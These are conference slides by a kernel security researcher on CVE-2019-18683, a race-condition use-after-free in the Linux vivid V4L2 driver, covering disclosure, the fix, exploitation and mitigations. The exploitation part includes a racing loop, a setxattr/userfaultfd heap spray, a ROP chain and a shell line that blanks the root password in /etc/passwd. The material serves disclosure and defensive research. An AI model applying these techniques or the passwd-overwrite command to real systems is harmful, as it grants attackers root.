Exploiting a Linux Kernel Vulnerability in the V4L2 Subsystem

Alexander Popov
Positive Technologies
February 15, 2020
About Me

- Alexander Popov
- Linux kernel developer
- Security researcher at Positive Technologies
Agenda

- CVE-2019-18683 overview
- Bugs and fixes
- Exploitation on x86_64
  - Hitting the race condition
  - Control flow hijack for V4L2 subsystem
  - Bypassing SMEP, SMAP, and kthread context restrictions
  - Privilege escalation payload
- Exploit demo on Ubuntu Server 18.04
- Possible exploit mitigation
LPE in the Linux kernel

Bug type: race condition

Refers to 3 similar bugs in the vivid driver of the V4L2 subsystem

Several major distros ship vivid as a kernel module

(CONFIG_VIDEO_VIVID=m)
About V4L2

- Stands for Video for Linux version 2
- A collection of drivers and an API for supporting video capture
- The vulnerable driver
  - at drivers/media/platform/vivid
  - emulates hardware of various types for V4L2:
    - video capture and output
    - radio receivers and transmitters
    - software-defined radio receivers, etc
  - is used as a test input for application development without requiring special hardware
On Ubuntu the **vivid** devices are available to the normal user

Ubuntu applies **RW ACL** when the user is logged in

(Un)fortunately, I don’t know how to autoload the vulnerable driver

That’s why I did full disclosure
Timeline (1)

- August 25, 2014 – Bugs are introduced
- September 5, 2019 – My custom syzkaller gets a crash
- September 13, 2019 – I start the investigation
- November 1, 2019
  - My PoC exploit and fixing patch are ready
  - I send the crasher and patch to security@kernel.org
  - Review starts
Timeline (2)

- November 2, 2019
  - I prepare v2 and v3 of the patch
  - Linus Torvalds allows to do full disclosure
  - Full disclosure
- November 4, 2019
  - Linus finds a mistake in v3 of the patch
  - I send v4 to the LKML
  - CVE-2019-18683 is allocated
- November 8, 2019 – the fixing patch is merged to the mainline
- November 27, 2019 – the fixing patch is taken to the stable trees
Bugs

- I used the `syzkaller` fuzzer with custom modifications
- **KASAN** detected use-after-free on linked list manipulations in `vid_cap_buf_queue()`
- I’ve found the same incorrect approach to locking used in
  - `vivid_stop_generating_vid_cap()`
  - `vivid_stop_generating_vid_out()`
  - `sdr_cap_stop_streaming()`
A Puzzle for Clever Developers

- vivid_dev.mutex is locked on closing /dev/video0
- Need to finish the streaming kthread
- But vivid_dev.mutex is used in the streaming loop in that kthread
- How to stop streaming without a deadlock?

Alexander Popov (Positive Technologies)
Unlock the mutex a little while to let `kthread` finish:

```c
/* shutdown control thread */
vivid_grab_controls(dev, false);
mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap);
dev->kthread_vid_cap = NULL;
mutex_lock(&dev->mutex);
```


**EXPECTATIONS**
Wrong Answer

Unlock the mutex a little while to let kthread finish:

/* shutdown control thread */
vivid_grab_controls(dev, false);
mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap);
dev->kthread_vid_cap = NULL;
mutex_lock(&dev->mutex);
Unlocking \texttt{vivid\_dev.mutex} on streaming stop is BAD idea

Another \texttt{vb2\_fop\_read()} can lock it instead of the \texttt{kthread}

\texttt{vb2\_fop\_read()} manipulates the buffer queue

That is not expected by \texttt{V4L2} subsystem :/
My Fix for CVE-2019-18683

Part 1: Avoid unlocking the mutex on streaming stop:

/* shutdown control thread */
vivid_grab_controls(dev, false);
- mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap)
dev->kthread_vid_cap = NULL;
- mutex_lock(&dev->mutex);

Part 2: Use `mutex_trylock()` and sleep in the `kthread` loop:

```
for (;;) {
    try_to_freeze();
    if (kthread_should_stop())
        break;
    - mutex_lock(&dev->mutex);
    + if (!mutex_trylock(&dev->mutex)) {
    +     schedule_timeout_uninterruptible(1);
    +     continue;
    + } 
    ... 
}
```
NOW ABOUT EXPLOITATION, STEP BY STEP
I run this in several pthreads:

```c
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
for (loop = 0; loop < LOOP_N; loop++) {
    int fd = 0;
    fd = open("/dev/video0", O_RDWR);
    if (fd < 0)
        err_exit("[-] open /dev/video0");
    read(fd, buf, 0xffffdec);
    close(fd);
}
```
Reading wins the race during closing of `/dev/video0`

Unexpected `vb2_buffer` is added to the `vb2_queue`

`vb2_core_queue_release()` frees buffers in `vb2_queue` after streaming stop

The driver is not aware and holds the reference to `vb2_buffer`

Use-after-free access when streaming is started again:

```
BUG: KASAN: use-after-free in vid_cap_buf_queue+0x188/0x1c0
Write of size 8 at addr ffff8880798223a0 by task v4l2-crasher/300
...
The buggy address belongs to the object at ffff888079822000
which belongs to the cache kmalloc-1k of size 1024
```
Step 2. Overwriting vb2_buffer

First idea: apply `setxattr()+userfaultfd()` technique (Vitaly Nikolenko) to exploit use-after-free

1. alloc vb2_buffer
2. free vb2_buffer
3. alloc xattr and keep it by userfaultfd()
4. use xattr bytes as vb2_buffer (BOOM!)
But Not So Easy

- Vulnerable `vb2_buffer` is not the last one freed by `__vb2_queue_free()`
- Next `kmalloc()` doesn’t return the needed pointer
- So having only one allocation is not enough for overwriting
- I really need to spray
- Spraying with Vitaly’s technique is not easy:

  Process calling `setxattr()` hangs until the `userfaultfd()` page fault handler calls `UFFDIO_COPY` ioctl
I create a pool of spraying pthreads (dozens of them)

Each pthread calls `setxattr()` powered by `userfaultfd()` and hangs

Pthreads are distributed among CPUs using `sched_setaffinity()`

So spray covers all slab caches (they are per-CPU)

After my heap spray succeeds, `vb2_buffer` is overwritten

That `vb2_buffer` is processed by V4L2 after next streaming start
I found a promising function pointer `vb2_buffer.vb2_queue->mem_ops->vaddr`
I disabled SMAP, SMEP, KPTI

I made vb2_buffer.vb2_queue point to the mmap’ed memory area

Dereferencing that pointer gave: "unable to handle page fault"

What is the reason?

That pointer is dereferenced in the kernel thread context. Userspace is not mapped there. Ouch!
Why is userspace absence bad?

Constructing the payload becomes a trouble:
I need to place `vb2_queue` and `vb2_mem_ops` structures at some known kernel memory addresses.
I dropped my kernel code changes for deeper fuzzing
I saw that my exploit hit a V4L2 warning before use-after-free
Kernel warning contains a lot of interesting info
Kernel log is available to regular users on Ubuntu Server
Is it useful for exploitation?
Alexander Popov (Positive Technologies)

Exploiting a Linux Kernel Vulnerability in the V4L2 Subsystem

V4L2 Warning Example

```bash
[ 58.168779] WARNING: CPU: 1 PID: 1511 at /build/linux-xWiSio/linux-4.15.0/drivers/media/v4l2-core/videobuf2-core.c:1686 __vb2_queue_cancel+0x18a/0x1f0 [videobuf2_core]
...
[ 58.186270] CPU: 1 PID: 15 Comm: v4l2-pwn Not tainted 4.15.0-76-generic #86-Ubuntu
[ 58.187698] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014
[ 58.190348] RIP: 0010:__vb2_queue_cancel+0x18a/0x1f0 [videobuf2_core]
[ 58.191562] RSP: 0018:ffffa6fdc08b7d60 EFLAGS: 00010286
[ 58.192606] RAX: 0000000000000024 RBX: ffff9014fb4bc9c8 RCX: 0000000000000000
[ 58.193974] RDX: 0000000000000000 RSI: ffff9014ffc96498 RDI: ffff9014ffc96498
[ 58.195260] RBP: ffffa6fdc08b7d80 R08: 00000000000002cf R09: 0000000000000007
[ 58.196427] R10: ffffa6fdc08b7ce0 R11: ffffffff89d5b80d R12: ffff9014f8913800
[ 58.197589] R13: ffffa6f4b4bc9c8 R14: ffffa6f4b4bc9390 R15: ffffa6f4b5a1000
[ 58.198736] FS: 00007f9371e19700(0000) GS:ffff9014fff8000(0000) km1GS:0000000000000000
[ 58.200046] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 58.200978] CR2: 0000fe3c86018a0 CR3: 00000000077f18001 CR4: 0000000000000000
[ 58.202136] Call Trace:
[ 58.202574] vb2_core_streamoff+0x28/0x90 [videobuf2_core]
[ 58.203469] __vb2_cleanup_fileio+0x22/0x80 [videobuf2_core]
[ 58.204385] vb2_core_queue_release+0x18/0x50 [videobuf2_core]
...
```
Can I use any info from the kernel warning to place my payload?

I decided to ask my friend Andrey Konovalov aka xairy

He presented me with a cool idea

Put the payload on the **kernel stack** and hold it there using `userfaultfd()`, similarly to Vitaly’s heap spray

Let me call it **xairy’s method** to credit my friend
I can get the kernel stack location by parsing the V4L2 warning.
And then anticipate the future address of the exploit payload!
That was the most pleasant moment of the research.
The kind of moment that makes everything else worth it :)
So I created the Exploit Orchestra to hijack the control flow.
V4L2 Warning: Useful Info

[58.168779] WARNING: CPU: 1 PID: 1511 at /build/linux-xWiSio/linux-4.15.0/drivers/media/v4l2-core/videobuf2-core.c:1686 __vb2_queue_cancel+0x18a/0x1f0 [videobuf2_core]
...
[58.186270] CPU: 1 PID: 15 Comm: v4l2-pwn Not tainted 4.15.0-76-generic #86-Ubuntu
[58.187698] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014
[58.190348] RIP: 0010:__vb2_queue_cancel+0x18a/0x1f0 [videobuf2_core]
[58.191562] RSP: 0018:ffffa6fdc08b7d60 EFLAGS: 00010286
[58.192606] RAX: 0000000000000024 RBX: ffff9014fb4bc9c8 RCX: 0000000000000000
[58.193974] RDX: 0000000000000000 RSI: ffff9014f66498 RDI: ffff9014f66498
[58.195260] RBP: ffffa6fdc08b7d80 R08: 000000000000002cf R09: 0000000000000000
[58.196427] R10: ffffa6fdc08b7ce0 R11: ffffa6f89d5b80d R12: ffffa6f8913800
[58.197589] R13: ffffa6fb4bc9c8 R14: ffffa6f6bb8390 R15: ffffa6f6a1000
[58.198736] FS: 00007f9371e19700(0000) GS: ffffa6f6a8000(0000) k1GS: 0000000000000000
[58.200046] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000000000000
[58.200978] CR2: 00007f9386018a0 CR3: 0000000000000000
[58.202136] Call Trace:
[58.202574] vb2_core_streamoff+0x28/0x90 [videobuf2_core]
[58.203469] __vb2_cleanup_fileio+0x22/0x80 [videobuf2_core]
[58.204385] vb2_core_queue_release+0x18/0x50 [videobuf2_core]
...
My Exploit Orchestra

- It consists of 50 pthreads in 5 different roles:
  - 2 racers
  - 44 sprayers, which hang on `setxattr()` powered by `userfaultfd()`
  - 2 pthreads for `userfaultfd()` page fault handling
  - 1 pthread for parsing `/dev/kmsg` and adapting the payload
  - 1 fatality pthread, which triggers privilege escalation

- Pthreads with different roles synchronize on different set of `pthread_barriers`
My Exploit Orchestra

Exploiting a Linux Kernel Vulnerability in the V4L2 Subsystem

Pic source: https://singletothemax.files.wordpress.com/2011/02/symphony_099_cropped1.jpg
Exploit Orchestra at Work (1)

1. `barrier_prepare` (for 47 pthreads)
   - 44 sprayers:
     - create files in `tmpfs` for doing `setxattr()` later
     - wait on barrier
   - kmsg parser:
     - open `/dev/kmsg`
     - wait on barrier
   - 2 racers: wait on barrier

2. `barrier_race` (for 2 pthreads)
   - 2 racers:
     - `usleep()` to let other pthreads go to their next barrier
     - wait on barrier
     - race together
3. **barrier\_parse** (for 3 pthreads)
   - 2 racers: wait on barrier
   - kmsg parser:
     - wait on barrier
     - parse the kernel warning to extract RSP and R11 (contains a pointer to code)
     - calculate the address of the kernel stack top and the KASLR offset
     - adapt the pointers in the payloads for kernel heap and stack

4. **barrier\_kstack** (for 3 pthreads)
   - kmsg parser: wait on barrier
   - 2 racers:
     - wait on barrier
     - place the kernel stack payload via `adjtimex()` and hang
5. **barrier_spray** (for 45 pthreads)
   - page fault handler #2:
     - catch 2 page faults from `adjtimex()` called by racers
     - wait on barrier
   - 44 sprayers:
     - wait on barrier
     - place the kernel heap payload via `setxattr()` and hang

6. **barrier_fatality** (for 2 pthreads)
   - page fault handler #1:
     - catch 44 page faults from `setxattr()` called by sprayers
     - wait on barrier
   - fatality pthread:
     - wait on barrier
     - trigger the payload for privilege escalation
     - the end!
Bypassed **SMEP**, **SMAP**, **kthread context** restrictions, and **KASLR** on Ubuntu Server 18.04

Valery Gergiev, a famous Russian orchestra conductor

Pic source: https://sxodim.com/almaty/event/eksklyuzivnyj-pokaz-filma-gergiev-osoboe-bezumie/
Anatomy of the Exploit Payload

- The exploit payload is created in two locations:
  - in kernel heap by sprayer pthreads using `setxattr()` syscall
  - in kernel stack by racer pthreads using `adjtimex()` syscall
  - both powered by `userfaultfd()`

- The exploit payload consists of three parts:
  - `vb2_buffer` in kernel heap
  - `vb2_queue` in kernel stack
  - `vb2_mem_ops` in kernel stack
Anatomy of the Exploit Payload: A Diagram

- **Kernel Heap**
  - `struct vivid_buffer` overwritten by `setxattr`
  - `struct vb2_queue *vb2_queue`
  - `uint num_planes = 1`
  - `struct vb2_buffer vb2_buf`
  - `struct vb2_planes planes[8]`
  - `struct list_head list`

- **Kernel Stack**
  - `struct vb2_queue`
  - `struct __kernel_timex`
  - `struct vb2_mem_ops`
  - `struct vb2_mem_ops`
  - `ROP chain`
  - `stack pivot gadget: PUSH RDI POP RSP RET`
  - `kernel stack top`

---

Alexander Popov (Positive Technologies) | Exploiting a Linux Kernel Vulnerability in the V4L2 Subsystem
Final Step: ROP’n’JOP

- Control flow is hijacked in `void *(*vaddr)(void *buf_priv)`
- The argument (in `RDI`) is under control
- I’ve found an excellent stack pivoting gadget: `PUSH RDI; POP RSP; RET`
- The payload is executed from the `kthread context`
- The ROP/JOP chain calls `run_cmd()` from `kernel/reboot.c` as root:

```
*rop++ = ROP__POP_R15__RET + kaslr_offset;
*rop++ = ADDR_RUN_CMD + kaslr_offset;
*rop++ = ROP__POP_RDI__RET + kaslr_offset;
*rop++ = (unsigned long)(kstack - TIMEX_STACK_OFFSET + CMD_OFFSET);
*rop++ = ROP__JMP_R15 + kaslr_offset;
*rop++ = ROP__POP_R15__RET + kaslr_offset;
*rop++ = ADDR_DO_TASK_DEAD + kaslr_offset;
*rop++ = ROP__JMP_R15 + kaslr_offset;
```
Privilege Escalation

run\_cmd() executes "/bin/sh /home/a13x/pwn" with root privileges

That script rewrites /etc/passwd to log in as root without password:

```bash
#!/bin/sh
# drop root password
sed -i '1s/.*/root::0:0:root:/root:/bin/bash/' /etc/passwd
```
Finally jump to `__noreturn do_task_dead()` from `kernel/exit.c`

I do it for so-called system fixating

If this `kthread` is not stopped, it provokes unnecessary kernel crashes
Demo Time

Offensive Security Conference
February 14-15 2020 // Berlin

CVE-2019-18683: Local Privilege Escalation Demo
**Possible Exploit Mitigation**

- **Against userfaultfd() abuse** –
  
  set `/proc/sys/vm/unprivileged_userfaultfd` to 0

- **Against infoleak via kernel log** –
  
  set `kernel.dmesg_restrict` sysctl to 1

  N.B. Ubuntu users from `adm` group can read `/var/log/syslog` anyway

- **Against anticipating stack payload location** –
  
  PAX_RANDKSTACK from grsecurity/PaX patch

- **Against my ROP/JOP chain** –
  
  PAX_RAP from grsecurity/PaX patch

- **Against use-after-free (hopefully in future)** –
  
  ARM Memory Tagging Extension (MTE) support for kernel
Conclusion

- Investigating and fixing CVE-2019-18683, developing the PoC exploit, and preparing this talk was a **big deal** for me.

- I hope you enjoyed it!

- I will publish a large and detailed write-up very soon.
Thanks! Questions?

alex.popov@linux.com
@a13xp0p0v

http://blog.ptsecurity.com/
@ptsecurity

POSITIVE TECHNOLOGIES